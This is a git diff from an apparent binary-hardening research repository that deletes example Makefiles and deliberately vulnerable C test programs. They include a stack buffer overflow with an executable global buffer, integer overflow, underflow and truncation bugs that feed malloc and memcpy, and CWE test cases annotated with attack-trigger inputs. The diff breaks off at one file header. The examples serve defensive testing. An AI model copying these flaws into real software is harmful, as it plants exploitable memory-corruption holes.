diff --git a/.gitattributes b/.gitattributes index 4fb9eb6b50e2eb115969bb47cee29fde641ec28a..d27edea216a9b243b8a2c99122560a2c4e029570 100644 --- a/.gitattributes +++ b/.gitattributes @@ -175,91 +175,6 @@ beaengine/obj/Linux.gnu.Debug/beaengineSources/CMakeFiles/BeaEngine_s_d.dir/prog beaengine/obj/Linux.gnu.Debug/beaengineSources/CMakeFiles/progress.marks -text /build.sh -text /distclean.sh -text -examples/Makefile -text -examples/dumbledore.c -text -examples/dumbledore_cmd.c -text -examples/integerbug.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat -text -examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c -text -examples/integerbugs/C1_Number_Handling/CWE_128/good.dat -text -examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c -text -examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx -text -examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt -text -examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt -text -examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt -text -examples/integerbugs/C1_Number_Handling/CWE_190/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c -text -examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat -text -examples/integerbugs/C1_Number_Handling/CWE_190/data.txt -text -examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c -text -examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c -text -examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx -text -examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_194/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip -text -examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_195/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat -text svneol=unset#application/octet-stream -examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat -text -examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc -text -examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_196/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_197/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx -text -examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz -text -examples/integerbugs/C1_Number_Handling/CWE_198/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c -text -examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c -text -examples/integerbugs/C1_Number_Handling/CWE_369/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_682/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c -text -examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf -text -examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe -text -examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf -text -examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log -text -examples/integerbugs/C1_Number_Handling/CWE_839/Makefile -text -examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe -text -examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied -text -examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log -text -examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe -text -examples/ls_manual_tests.sh -text -examples/mul/generate_cprogs.sh -text -examples/mul/mul.ctmpl -text -examples/mul/mul.shtmpl -text -examples/mul/run_tests.sh -text -examples/overflow1.c -text -examples/test1.c -text -examples/test2.c -text -examples/width.c -text libIRDB/Makefile -text libIRDB/include/cfg/BasicBlock.hpp -text libIRDB/include/cfg/CFG.hpp -text diff --git a/examples/Makefile b/examples/Makefile deleted file mode 100644 index 1ac692c9b51fd6d389e108edac7d8be2a90c06ee..0000000000000000000000000000000000000000 --- a/examples/Makefile +++ /dev/null @@ -1,62 +0,0 @@ -CC=DO_NOT_USE -CXX=DO_NOT_USE -CFLAGS=DO_NOT_USE -LD=DO_NOT_USE - -.SUFFIXES: .o .c .cpp .exe - -#exes=dumbledore_cmd.exe test1.exe -#exes=overflow1.exe #overflow2.exe -#exes=dumbledore_cmd.exe -exes=integerbug.exe - - -all: env_check ${exes} - -.PHONY: env_check - -.o.exe: - ${PEASOUP_HOME}/tools/ps_link.sh $< -o $@ -# gcc $< -o $@ - ${PEASOUP_HOME}/tools/ps_analyze.sh $@ $@ - -.c.o: - ${PEASOUP_HOME}/tools/ps_comp.sh $< - -.cpp.o: - ${PEASOUP_HOME}/tools/ps_comp++.sh $< - - -env_check: - @echo checking env vars; \ - if [ "X${TOOLCHAIN}" = "X" ]; then \ - echo TOOLCHAIN environment variable should be set.; \ - exit -1;\ - elif [ "X${STRATA}" = "X" ]; then \ - echo STRATA environment variable should be set. ;\ - exit -1;\ - elif [ "X${SMPSA_HOME}" = "X" ]; then \ - echo SMPSA_HOME environment variable should be set.; \ - exit -1;\ - elif [ "X${PEASOUP_HOME}" = "X" ]; then \ - echo PEASOUP_HOME environment variable should be set.; \ - exit -1;\ - elif [ "X${STRATA_HOME}" = "X" ]; then \ - echo STRATA_HOME environment variable should be set.; \ - exit -1;\ - fi ; - - -clean: - rm -f *.o *.syms *.map - rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam - rm -Rf concolic.files_* - rm -Rf peasoup_executable_directory.* - rm -f strata.log.* - rm -f *.sym - ${PEASOUP_HOME}/tools/db/drop_my_tables.sh - ${PEASOUP_HOME}/tools/db/pdb_setup.sh - -concclean: - rm -Rf concolic.files_* - rm strata.log.* diff --git a/examples/dumbledore.c b/examples/dumbledore.c deleted file mode 100644 index 507cf4c2772a44a6e3c0002183b5e34fabf4a8a2..0000000000000000000000000000000000000000 --- a/examples/dumbledore.c +++ /dev/null @@ -1,47 +0,0 @@ - -#include <stdio.h> -#include <sys/mman.h> -#include <string.h> -#include <stdlib.h> - -enum {BUFSIZE = 98}; - -char grade = 'D'; -char Name[BUFSIZE]; -FILE *f; - -void readString_xxx(char *s) { - char buf[BUFSIZE]; - int i = 0; - int c; - - for (;;) - { - c = getchar(); - if ((c == EOF) || (c == '\n')) - break; - buf[i] = c; - i++; - } - buf[i] = '\0'; - - for (i = 0; i < BUFSIZE; i++) - s[i] = buf[i]; -} - - -int main(void) -{ - mprotect((void*)((unsigned int)Name & 0xfffff000), 1, - PROT_READ | PROT_WRITE | PROT_EXEC); - readString_xxx(Name); - - if (strcmp(Name, "Wizard in Training") == 0) - grade = 'B'; - - printf("Thank you, %s.\n", Name); - printf("I recommend that you get a grade of %c on this assignment.\n", grade); - - exit(0); -} - diff --git a/examples/dumbledore_cmd.c b/examples/dumbledore_cmd.c deleted file mode 100644 index b865a4ac7ebf22c1679f0ae7e97958420ccc51a3..0000000000000000000000000000000000000000 --- a/examples/dumbledore_cmd.c +++ /dev/null @@ -1,44 +0,0 @@ -#include <stdio.h> -#include <sys/mman.h> -#include <string.h> -#include <stdlib.h> - -enum {BUFSIZE = 24}; - -char grade = 'D'; -char Name[BUFSIZE]; - -void readString_xxx(char *in, char *s) { - char buf[BUFSIZE]; - int i = 0; - int c; - - for (;;) - { - c = in[i]; - if ((c == '\0') || (c == '\n')) - break; - - buf[i] = c; - i++; - } - buf[i] = '\0'; - - for (i = 0; i < BUFSIZE; i++) - s[i] = buf[i]; -} - - -int main(int argc, char * argv[]) -{ - if (argc == 2) - readString_xxx(argv[1], Name); - - if (strcmp(Name, "Wizard in Training") == 0) - grade = 'B'; - - printf("Thank you, %s.\n", Name); - printf("I recommend that you get a grade of %c on this assignment.\n", grade); - - return 0; -} diff --git a/examples/integerbug.c b/examples/integerbug.c deleted file mode 100644 index 43a2704812688122b249cd5b1d0884b0557b2735..0000000000000000000000000000000000000000 --- a/examples/integerbug.c +++ /dev/null @@ -1,181 +0,0 @@ -#include <stdio.h> - -#define INT_MAX 2147483647 -#define UINT_MAX 4294967295 - -int int_fussy_overflow(int x, int y) -{ - printf("int_fussy_overflow(): %d %d\n", x, y); - int result = x + 10000 - y; - printf("int_fussy_overflow(): result: %d\n", result); - return result; -} - -unsigned uint_fussy_overflow(unsigned x, unsigned y) -{ - printf("uint_fussy_overflow(): %u %u\n", x, y); - unsigned result = x + 10000 - y; - printf("int_fussy_overflow(): result: %u\n", result); - return result; -} - -int signed_overflow(int x, int y) -{ - printf("signed_overflow(): %d %d\n", x, y); - int sum = x + y; - printf("signed_overflow(): sum = %d\n", sum); - return sum; -} - -unsigned unsigned_overflow(unsigned x, unsigned y) -{ - printf("unsigned_overflow(): %u %u\n", x, y); - unsigned sum = x + y; - return sum; -} - -char* integer_overflow_into_malloc_1(unsigned numElements) -{ - printf("integer_overflow_into_malloc_1(): %u\n", numElements); - unsigned int size = numElements * 4; // compiler may use shifting here - char *buf = malloc(size); - return buf; -} - -char* integer_overflow_into_malloc_2(unsigned numElements, unsigned sizePerElement) -{ - printf("integer_overflow_into_malloc_2(): %u %u\n", numElements, sizePerElement); - unsigned int size = numElements * sizePerElement; - char *buf = malloc(size); - return buf; -} - -char* integer_underflow(unsigned len, char *src) -{ - printf("integer_underflow(): %d\n", len); - unsigned int size; - size = len - 2; // len = 0, size = -2 - char *comm = (char*) malloc(size + 1); // -1 (MAX_UNSIGNED_INT) passed to malloc - memcpy(comm, src, size); - return comm; -} - -#define BUFF_SIZE 10 - -// if len is < 0, this will bypass the check -// which will result in an overflow of buf[] -char* sign_error_buffer_overflow(int len, char *src) -{ - printf("sign_error_buffer_overflow(): %d\n", len); - char buf[BUFF_SIZE]; - if (len < BUFF_SIZE) { - printf("Copying %u bytes into buffer of size %u\n", len, BUFF_SIZE); - return memcpy(buf, src, len); - } - else { - return NULL; - } -} - -char* signed_error(int size) -{ - printf("signed_error(): %d\n", size); - return malloc(size); -} - -int signed_error_bypass_check(unsigned value) -{ - printf("signed_error_bypass_check(): %u\n", value); - int x = value; - if ( x > 1024 ) - { - printf("too big\n"); - return 1; - } - else - { - printf("passed upper bound check\n"); - return 0; - } -} - -char* trunc_error(unsigned size, int numElements) -{ - printf("trunc_error(): %u %d\n", size, numElements); - short len = size; - return malloc(len * numElements); -} - -short sign_extend_char_short(char c) -{ - short s; - return s = c; -} - -short sign_extend_char_long(char c) -{ - long l; - return l = c; -} - -short sign_extend_short_long(short s) -{ - long l; - return l = s; -} - -int main(int argc, char **argv) -{ - int selector = 0; - int myint; - int result; - char *bufptr; - char buf[16] = "hello"; - - if (argc == 2) - selector = atoi(argv[1]); - - switch(selector) - { - // good inputs here - case 0: - int_fussy_overflow(10,12); - uint_fussy_overflow(10,12); - bufptr = integer_overflow_into_malloc_2(1, 4); - bufptr = integer_overflow_into_malloc_1(1); - bufptr = integer_underflow(10, buf); - result = signed_error_bypass_check(10); - bufptr = trunc_error(10, 10); - signed_overflow(2, 3); - break; - - // "bad" inputs here - case 1: - bufptr = integer_overflow_into_malloc_2(2000000000, 4); - break; - case 2: - bufptr = integer_overflow_into_malloc_1(4000000000); - break; - case 3: - bufptr = integer_underflow(1, buf); - break; - case 4: - result = signed_error_bypass_check(4000000000); - break; - case 5: - bufptr = trunc_error(65000, 10); - break; - case 6: - int_fussy_overflow(INT_MAX,INT_MAX); - break; - case 7: - signed_overflow(INT_MAX, INT_MAX); - break; - case 8: - signed_overflow(INT_MAX, INT_MAX); - break; - case 9: - sign_error_buffer_overflow(-1, buf); - break; - } -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile deleted file mode 100644 index 8bb9248474cfba05dd8c252790f982291fbca71b..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile +++ /dev/null @@ -1,93 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../../scripts/test.pl $(TESTFLAGS) . - -dbl_equals.ncexe: dbl_equals.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_equals.conf - -dbl_equals: dbl_equals.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_equals.ps_analyze.log - cp dbl_equals.conf dbl_equals.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_equals.conf - -dbl_equals.run: dbl_equals - ../../../../scripts/test.pl $(TESTFLAGS) dbl_equals.ncexe - -dbl_sqrt.ncexe: dbl_sqrt.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_sqrt.conf - -dbl_sqrt: dbl_sqrt.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_sqrt.ps_analyze.log - cp dbl_sqrt.conf dbl_sqrt.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_sqrt.conf - -dbl_sqrt.run: dbl_sqrt - ../../../../scripts/test.pl $(TESTFLAGS) dbl_sqrt.ncexe - -dbl_square.ncexe: dbl_square.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_square.conf - -dbl_square: dbl_square.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_square.ps_analyze.log - cp dbl_square.conf dbl_square.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_square.conf - -dbl_square.run: dbl_square - ../../../../scripts/test.pl $(TESTFLAGS) dbl_square.ncexe - -fp_equals.ncexe: fp_equals.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_equals.conf - -fp_equals: fp_equals.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_equals.ps_analyze.log - cp fp_equals.conf fp_equals.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_equals.conf - -fp_equals.run: fp_equals - ../../../../scripts/test.pl $(TESTFLAGS) fp_equals.ncexe - -fp_sqrt.ncexe: fp_sqrt.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_sqrt.conf - -fp_sqrt: fp_sqrt.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_sqrt.ps_analyze.log - cp fp_sqrt.conf fp_sqrt.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_sqrt.conf - -fp_sqrt.run: fp_sqrt - ../../../../scripts/test.pl $(TESTFLAGS) fp_sqrt.ncexe - -fp_square.ncexe: fp_square.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_square.conf - -fp_square: fp_square.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_square.ps_analyze.log - cp fp_square.conf fp_square.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_square.conf - -fp_square.run: fp_square - ../../../../scripts/test.pl $(TESTFLAGS) fp_square.ncexe - -clean: - rm -f dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe - rm -f dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square - rm -f summary.csv logfail.txt logfile.txt dbl_equals.asm dbl_equals.idb dbl_equals.ncexe* stratafier.o.exe *.conf dbl_sqrt.asm dbl_sqrt.idb dbl_sqrt.ncexe* stratafier.o.exe *.conf dbl_square.asm dbl_square.idb dbl_square.ncexe* stratafier.o.exe *.conf fp_equals.asm fp_equals.idb fp_equals.ncexe* stratafier.o.exe *.conf fp_sqrt.asm fp_sqrt.idb fp_sqrt.ncexe* stratafier.o.exe *.conf fp_square.asm fp_square.idb fp_square.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe - -analyze: targets dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square - -runall: dbl_equals.run dbl_sqrt.run dbl_square.run fp_equals.run fp_sqrt.run fp_square.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options deleted file mode 100644 index de569821ca7c0e3d876ef4f36bb73bf6d0167397..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options +++ /dev/null @@ -1 +0,0 @@ -LINKOPT += -lm diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c deleted file mode 100644 index 65d233b6590038a0312742bf4337dda4b51db794..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c +++ /dev/null @@ -1,37 +0,0 @@ -// Test of doubleing point overflow - -/* -@GOOD_ARGS 123.0 1.0 -@NORMAL_OUTPUT_CONTAINS 1 -@BAD_ARGS 123.0 119.0 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0 -*/ - -#include <stdlib.h> -#include <stdio.h> - -int equals(double x, double y) -{ - return (x == y); -} - - -int main(int argc, char **argv) -{ - if (argc <= 2) - { - printf ("Usage: prog N divisor\n"); - exit(2); - } - - double x = atof(argv[1]); - double y = x; - - double z = atof(argv[2]); - - y /= z; - y *= z; - - printf("%d\n", equals(x,y)); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c deleted file mode 100644 index 0d10b05b67cb8109b06296844a51cc5d01654168..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c +++ /dev/null @@ -1,26 +0,0 @@ -// Test of Sign problems - -/* -@GOOD_ARGS 100.0 -@NORMAL_OUTPUT_CONTAINS 10 -@BAD_ARGS -100 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan -*/ - -#include <stdlib.h> -#include <stdio.h> -#include <math.h> - -double root(double x) -{ - return sqrt(x); -} - - -int main(int argc, char **argv) -{ - double x = atof(argv[1]); - double y = root(x); - printf("%f\n", y); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c deleted file mode 100644 index 2e89e3e4a630ba78af15d77c43f4f103ff5dc26a..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c +++ /dev/null @@ -1,25 +0,0 @@ -// Test of doubleing point overflow - -/* -@GOOD_ARGS 10 -@NORMAL_OUTPUT_CONTAINS e\+02 -@BAD_ARGS 1e200 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf -*/ - -#include <stdlib.h> -#include <stdio.h> - -double square(double x) -{ - return x * x; -} - - -int main(int argc, char **argv) -{ - double x = atof(argv[1]); - double y = square(x); - printf("%e\n", y); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c deleted file mode 100644 index b69ceff30e5f9e8dbb976b587142b6ec2b103d37..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c +++ /dev/null @@ -1,40 +0,0 @@ -// Test of floating point overflow - - -/* -@GOOD_ARGS 123.0 1.0 -@NORMAL_OUTPUT_CONTAINS 1 -@BAD_ARGS 1231223.0123123 119.01123123 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0 -*/ - -#include <stdlib.h> -#include <stdio.h> - -int equals(float x, float y) -{ - return (x == y); -} - - -int main(int argc, char **argv) -{ - if (argc <= 2) - { - printf ("Usage: prog N divisor\n"); - exit(2); - } - - float x = atof(argv[1]); - float y = x; - - float z = atof(argv[2]); - - y /= z; - y += 100000; - y *= z; - y -= 100000; - - printf("%d\n", equals(x,y)); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c deleted file mode 100644 index b0dacfaf41b8f4bfe17f759d834d4e1a66adce74..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c +++ /dev/null @@ -1,26 +0,0 @@ -// Test of Sign problems - -/* -@GOOD_ARGS 100.0 -@NORMAL_OUTPUT_CONTAINS 10 -@BAD_ARGS -100 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan -*/ - -#include <stdlib.h> -#include <stdio.h> -#include <math.h> - -float root(float x) -{ - return sqrtf(x); -} - - -int main(int argc, char **argv) -{ - float x = atof(argv[1]); - float y = root(x); - printf("%f\n", y); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c deleted file mode 100644 index 965a866ea280a6f857254f384c9c7b928c9312b0..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c +++ /dev/null @@ -1,25 +0,0 @@ -// Test of floating point overflow - -/* -@GOOD_ARGS 10 -@NORMAL_OUTPUT_CONTAINS e\+02 -@BAD_ARGS 1e20 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf -*/ - -#include <stdlib.h> -#include <stdio.h> - -float square(float x) -{ - return x * x; -} - - -int main(int argc, char **argv) -{ - float x = atof(argv[1]); - float y = square(x); - printf("%e\n", y); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile deleted file mode 100644 index 85aef064af333a47120f1ac9bd3666d88d3e1c6a..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile +++ /dev/null @@ -1,45 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -dumbledore_store_wrap_around_error.ncexe: dumbledore_store_wrap_around_error.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dumbledore_store_wrap_around_error.conf - -dumbledore_store_wrap_around_error: dumbledore_store_wrap_around_error.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dumbledore_store_wrap_around_error.ps_analyze.log - cp dumbledore_store_wrap_around_error.conf dumbledore_store_wrap_around_error.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dumbledore_store_wrap_around_error.conf - -dumbledore_store_wrap_around_error.run: dumbledore_store_wrap_around_error - ../../../scripts/test.pl $(TESTFLAGS) dumbledore_store_wrap_around_error.ncexe - -wrap_around_error.ncexe: wrap_around_error.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >wrap_around_error.conf - -wrap_around_error: wrap_around_error.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee wrap_around_error.ps_analyze.log - cp wrap_around_error.conf wrap_around_error.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> wrap_around_error.conf - -wrap_around_error.run: wrap_around_error - ../../../scripts/test.pl $(TESTFLAGS) wrap_around_error.ncexe - -clean: - rm -f dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe - rm -f dumbledore_store_wrap_around_error wrap_around_error - rm -f summary.csv logfail.txt logfile.txt dumbledore_store_wrap_around_error.asm dumbledore_store_wrap_around_error.idb dumbledore_store_wrap_around_error.ncexe* stratafier.o.exe *.conf wrap_around_error.asm wrap_around_error.idb wrap_around_error.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe - -analyze: targets dumbledore_store_wrap_around_error wrap_around_error - -runall: dumbledore_store_wrap_around_error.run wrap_around_error.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat deleted file mode 100644 index 0d6a524ba4bb4d62ff585ceb90c77652523ffb50..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat +++ /dev/null @@ -1 +0,0 @@ -1 5 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c b/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c deleted file mode 100644 index b20f24730c3d00f50cbf96b42894ef1e325107f0..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c +++ 